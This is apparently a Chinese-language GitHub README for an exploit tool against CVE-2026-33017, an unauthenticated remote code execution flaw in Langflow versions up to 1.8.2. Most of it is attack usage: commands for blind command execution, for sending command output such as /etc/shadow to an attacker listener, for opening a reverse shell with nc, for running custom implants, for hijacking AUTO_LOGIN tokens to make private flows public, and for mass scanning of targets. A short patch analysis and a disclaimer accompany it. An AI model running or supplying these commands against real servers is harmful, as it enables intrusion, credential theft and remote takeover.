oscar-mine/CVE-2026-33017-Exploit
GitHub: oscar-mine/CVE-2026-33017-Exploit
该项目是一个针对 Langflow 未认证远程代码执行漏洞(CVE-2026-33017)的 PoC 工具,用于检测与利用该安全缺陷。
Stars: 0 | Forks: 0
# CVE-2026-33017 - Langflow 未认证远程代码执行
```
_____
/ \
| () () |
\ ^ /
|||||
```
Langflow <= 1.8.2 允许通过 `POST /api/v1/build_public_tmp/{flow_id}/flow` 端点进行**未认证远程代码执行**。攻击者提供的包含节点定义中任意 Python 代码的流程数据会被直接传递给 `exec()`,且无任何沙箱保护。
- **CVSS:** 9.8 严重
- **CWE:** CWE-94(代码注入)、CWE-306(缺少认证)
- **受影响:** Langflow <= 1.8.2(包括 1.9.0-dev0 到 dev11)
- **修复:** Langflow 1.9.0
- **CISA KEV:** 2026-03-25 加入
- **野外利用:** 披露后 20 小时内
## 杀伤链
```
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> arbitrary code runs as the server process. game over.
```
## 安装
```
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
```
## 使用
### 侦察 - 检查目标是否易受攻击
```
python3 exploit.py --url http://target:7860 --check
```
### 盲命令执行
```
python3 exploit.py --url http://target:7860 --cmd "id"
```
### 通过 GET 回调提取输出(base64 在 URL 路径中)
```
# 终端 1:启动监听器
python3 -m http.server 8080
# 终端 2:触发漏洞利用
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# 从监听器日志中解码 base64:
echo "dWlkPTEwMDAo..." | base64 -d
```
### 通过 POST 回调提取输出(原始输出在请求体中)
```
# 终端 1:启动监听器
nc -l 8080
# 终端 2:触发漏洞利用
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# 原始输出直接位于 POST 主体中 - 无需解码
```
### 反向 Shell
```
# 终端 1:启动监听器
nc -l 4444
# 终端 2:触发漏洞利用
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
```
### 自定义 Python 载荷
```
python3 exploit.py --url http://target:7860 --payload-file implant.py
```
载荷文件规则:
- 代码通过 `exec()` 在 `prepare_global_scope()` 的模块级别运行
- 必须使用**赋值**(例如 `_x = os.popen(...).read()`),因为 AST 过滤器仅执行 `Assign`、`FunctionDef`、`ClassDef` 节点
- 阻塞调用应使用 `threading.Thread(daemon=True)` 以避免杀死异步事件循环
### 自动提升私有流程
当不存在 PUBLIC 流程且 AUTO_LOGIN 启用(许多部署中的默认设置)时:
```
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
```
这会劫持 AUTO_LOGIN 令牌,将第一个流程 PATCH 为 PUBLIC,然后利用它。
### 批量扫描
从文件扫描多个目标(仅漏洞检查):
```
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
```
**targets.txt** 格式:
```
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 注释被忽略
```
输出显示:
- 版本检测(易受攻击 / 已修复)
- AUTO_LOGIN 状态(免费令牌 = 轻松升级)
- 公共流程数量(可立即利用)
### 通过 Burp 代理
```
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
```
## 工作原理
1. **版本探测** - 请求 `/api/v1/version` 以识别目标
2. **流程发现** - 使用 AUTO_LOGIN(如果启用)枚举流程并查找 PUBLIC 流程
3. **载荷注入** - 构造一个包含 `CustomComponent` 节点的最小流程图,其中恶意 Python 代码位于 `code` 字段
4. **代码执行** - 向 `/api/v1/build_public_tmp/{flow_id}/flow` 发送 POST 请求,附带 `data` 参数。Langflow 编译流程图,调用 `create_class()` -> `prepare_global_scope()` -> 对攻击者代码执行 `exec()`
v1.9.0 中的修复完全移除了 `data` 参数,强制端点仅使用数据库中的存储流程数据。
## 补丁分析
| 版本 | 状态 |
|---|---|
| <= 1.8.1 | 易受攻击 |
| 1.8.2 | 变更日志声称已修复,但**代码从未更改**(JFrog 确认) |
| 1.9.0-dev0 到 dev11 | 仍然易受攻击 |
| **1.9.0** | **实际已修复** - 从端点移除 `data` 参数 |
## 参考
- [NVD - CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [JFrog Research - 修复绕过分析](https://research.jfrog.com/post/langflow-latest-version-was-not-fixed/)
- [Sysdig - 20 小时内利用](https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours)
- [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017)
- [修复提交](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0)
- GitHub Advisory: GHSA-rvqx-wpfh-mfx7
## 免责声明
本工具仅供**授权的安全研究**使用。仅对获得明确许可的系统进行测试。作者不对滥用行为负责。
标签:API 攻击, Blind command execution, Build Public Endpoint, CISA KEV, CISA项目, Critical, CVE-2026-33017, CVSS 9.8, CWE-306, CWE-94, exec(), Exploited in Wild, Flow Build, GET callback, Graph from Payload, IP 地址批量处理, Langflow, Langflow <= 1.8.2, Langflow 1.9.0 修复, Loading eval, PE 加载器, POST callback, Prepare Global Scope, Python, RCE, 反向 shell, 回调 exfiltration, 威胁模拟, 无后门, 无服务器架构, 未认证访问, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护